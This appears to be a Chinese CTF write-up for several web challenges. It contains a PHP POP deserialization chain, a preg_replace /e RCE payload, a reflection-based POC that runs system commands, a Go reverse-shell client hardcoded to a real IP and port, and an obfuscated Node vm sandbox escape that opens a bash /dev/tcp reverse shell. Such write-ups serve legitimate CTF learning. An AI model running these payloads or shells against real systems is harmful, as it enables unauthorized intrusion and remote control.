环境:云演

ezpop

ctrl+u或者F12会闪退,在浏览器层面打开开发者工具查看源代码即可绕过这种JS小伎俩,然后挨个查找可疑的js

base64解码打开/pop3ZTgMw.php

一个很简单的pop链,但要注意有几个特殊的unicode字符会导致显示顺序的错乱,框选之后可以发现

如何找到真正的post参数呢,其实我们慢慢的框选,可以发现这段特殊的unicode符号和“快给我传参”是连在一起的,并且是覆写符号(钓鱼攻击常用,改变文字的显示顺序),其真实位置在第一个引号'和第一个p之间

对于这种掺杂着不可见字符的参数,我们可以先通过requests获取url编码后的页面源代码,然后找到第一个%27和p字母之间的位置就是这些不可见字符,在传参的时候用url编码拼接即可

完整的参数就是去掉两旁的%27中间的内容(即单引号)

POP链子很简单,有2个考点,一个是运用GC机制来提前反序列化绕过throw Error,还有就是立即调用函数的使用,文件查看器那道题我有详细说明

最后就是用file协议来绕过waf,直接读取本地文件

POP链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php

class night
{
public $night;

public function __destruct(){
echo $this->night . '哒咩哟';
}
}

class day
{
public $day;

public function __toString(){

echo $this->day->go();
}

public function __call($a, $b){

echo $this->day->getFlag();
}
}


class light
{
public $light;

public function __invoke(){
echo $this->light->d();
}
}

class dark
{
public $dark;

public function go(){

($this->dark)();
}

public function getFlag(){

include(hacked($this->dark));
}
}

function hacked($s) {
if(substr($s, 0,1) == '/'){
die('呆jio步');
}
$s = preg_replace('/\.\.*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
echo $s;
return strip_tags($s);
}

$night_1=new night();
$night_1->night=$day_1=new day();
$dark_1=$day_1->day=new dark();
$dark_2=new dark();
$dark_2->dark="file:///flag";
$dark_1->dark=array($dark_2,"getFlag");
echo serialize(array($night_1,1));
//a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";a:2:{i:0;O:4:"dark":1:{s:4:"dark";s:12:"file:///flag";}i:1;s:7:"getFlag";}}}}i:1;i:1;}
//把1的索引改为0触发回收机制
//a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";a:2:{i:0;O:4:"dark":1:{s:4:"dark";s:12:"file:///flag";}i:1;s:7:"getFlag";}}}}i:0;i:1;}

最终POC

ezrce

随便填一个显示出源码

关键函数

1
2
$name1=preg_replace('/hahaha/e',$qaq,$name);
//开启e模式后会在name匹配到hahaha时,eval(qaq),然后把qaq的结果替换到name中

fuzz后发现过滤了数字,引号,考虑无参数RCE

又过滤了next,reverse,没法读当前目录文件,也可能是太菜了想不出来

考虑session,构造payload

1
2
3
Cookie: PHPSESSID=/flag;

name=hahaha&qaq=highlight_file(session_id(session_start()));

unserialize

查看源码,要求执行代码后将password改为指定的secret,不过又搞了个unicode覆写的小伎俩。。。。

没有setter和constructor,想修改私有成员只能用反射,之前没接触过php的反射,问下聪明的bing(本来想用gpt4结果发现被封了)

这个应该是被封了。。

发现和java反射差不多,但是查看robots.txt=>hint.php后发现,常用的ReflectionClass不能用

那就改用ReflectionObject,方法流程和ReflectionClass大差不差,只不过ReflectionClass直接反射类的元数据,,而ReflectionObject是通过一个实例对象来反射其类的元数据

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class getFlag{
private $password;
private $cmd;
public function __destruct(){
if($this->password=="1111"){
system($this->cmd);
}
}
}
//%22%E2%80%AE%E2%81%A6%20%20%2f%2fhow%20to%20change%20the%20private%20variables%E2%81%A9%E2%81%A6secret%22
$command = "cat /flag";
$ins=new getFlag();
$obj = new ReflectionObject($ins);//这里要给个实例对象变量,不能直接new getFlag,否则后面无法找到修改的对象
$password = $obj->getProperty('password');
$password->setAccessible(true);
$password->setValue($ins,"1111");
$cmd = $obj->getProperty('cmd');
$cmd->setAccessible(true);
$cmd->setValue($ins, $command);
?>

把代码url编码后,其中的1111改为注释那栏密码即可

test

打开登录界面,查看源代码,profile路由会泄露信息,访问/prifile/admin获取密码,cmd5爆破一下,登录后post一个执行反弹shell的go文件,cat /flag即可

给官方WP贴一个详细注解,方便学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// 定义一个main包,表示这是一个可执行程序
package main

// 导入以下几个包,用于实现TCP客户端,执行命令,读写数据等功能
import (
"io"
"io/ioutil"
"log"
"net"
"os/exec"
)

// 定义两个全局变量,cmd和line,分别用于存储命令和行
var (
cmd string
line string
)

// 定义一个main函数,作为程序的入口点
func main() {
// 定义一个addr变量,存储要连接的地址,格式为IP:Port
addr := "1.117.247.14:2333" //监听地址
// 调用net包的Dial函数,创建一个TCP客户端,并连接到addr指定的地址,返回一个net.Conn类型的值,并赋给conn变量
conn, err := net.Dial("tcp", addr)
// 判断是否有错误发生,如果有,调用log包的Fatal函数,打印错误信息并退出程序
if err != nil {
log.Fatal(err)
}

// 定义一个buf变量,存储一个长度为10240的字节切片,用于接收从conn中读取的数据
buf := make([]byte, 10240)
// 使用for循环,不断地从conn中读取数据
for {
// 调用conn的Read方法,将数据读取到buf中,并返回读取到的字节数n和可能发生的错误err
n, err := conn.Read(buf)
// 判断是否有错误发生,并且不是io.EOF(表示没有更多数据可读),如果是,调用log包的Fatal函数,打印错误信息并退出程序
if err != nil && err != io.EOF {
log.Fatal(err)
}

// 将buf中前n个字节转换为字符串,并赋给cmd_str变量,表示接收到的命令
cmd_str := string(buf[:n])
// 调用os/exec包的Command函数,创建一个执行/bin/bash -c cmd_str命令的exec.Cmd类型的值,并赋给cmd变量
cmd := exec.Command("/bin/bash", "-c", cmd_str)
// 调用cmd的StdoutPipe方法,获取命令的标准输出管道,并赋给stdout变量
stdout, err := cmd.StdoutPipe()
// 判断是否有错误发生,如果有,调用log包的Fatal函数,打印错误信息并退出程序
if err != nil {
log.Fatal(err)
}
// 使用defer关键字,在函数返回前关闭stdout管道
defer stdout.Close()
// 调用cmd的Start方法,在后台启动命令,并不等待命令结束
if err := cmd.Start(); err != nil {
log.Fatal(err)
}
// 调用io/ioutil包的ReadAll函数,将stdout管道中的所有数据读取到一个字节切片中,并赋给opBytes变量
opBytes, err := ioutil.ReadAll(stdout)
// 判断是否有错误发生,如果有,调用log包的Fatal函数,打印错误信息并退出程序
if err != nil {
log.Fatal(err)
}
// 调用conn的Write方法,将opBytes中的数据写入到conn中,将命令的输出返回给addr指定的地址
conn.Write([]byte(opBytes))
}
}

关于defer关键字

使用defer关键字可以保证无论函数在哪里返回,都会关闭文件句柄f。如果不使用defer关键字,你需要在每个return语句之前调用f.Close(),或者使用一个变量来存储错误,并在函数最后调用f.Close()。这样会让代码更复杂、更容易出错。使用defer关键字可以让代码更简洁、更安全。

Esc4pe_T0_Mong0

VM1沙箱逃逸经典POC:

1
this.constructor.constructor("return process")().mainModule.require("child_process").exec("bash -i >& /dev/tcp/ip/port 0>&1")

waf过滤了.,{},空格等常用关键字

利用with代替.取属性,利用fromCharCode绕过关键字过滤

用法:

方法 语法 参数 返回值 作用 示例
fromCharCode String.fromCharCode(num1, num2, …, numN) num1, num2, …, numN: 一系列的UTF-16编码单元的数字,范围是0到65535。如果超过这个范围,会被截断。 一个字符串,由指定的UTF-16编码单元组成。 将Unicode值转换为字符。 String.fromCharCode(65, 66, 67); // 返回”ABC”
with with (object) { statement } object: 一个已有的对象,它的属性可以在语句中作为变量来使用。statement: 一个或多个语句,可以引用object的属性。 无返回值。 扩展作用域链,使得一个对象的属性可以在语句中直接使用,而不需要写对象名。 let obj = {a: 1, b: 2};with (obj) {console.log(a + b);} // 输出3

ascii转换脚本

1
2
3
4
5
6
7
cmd=""
s_list=list(cmd)
payload=""
for i in s_list:
payload+=str(ord(i))
payload+=","
print(payload)

这里好像直接bash -i会报错,换成bash -c “bash -i >& /dev/tcp/ip/port 0>&1”

waf中还限制了长度,所以要用一个字符的变量名来代替2个字符的ascii码

最终POC:

1
2
with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,X,46,X,X,X,46,X,X,X,46,X,X,47,57,57,57,32,48,62,38,49,34))
//这里为了满足长度要求,端口用的999,Ip换成自己vps即可

拿到shell之后,

先启动MongoDB

service mongodb start

进入MongoDB

mongodb

查询数据库

show databases

选择数据库

use secret

查询表

show tables

查询flag

db.flag.find()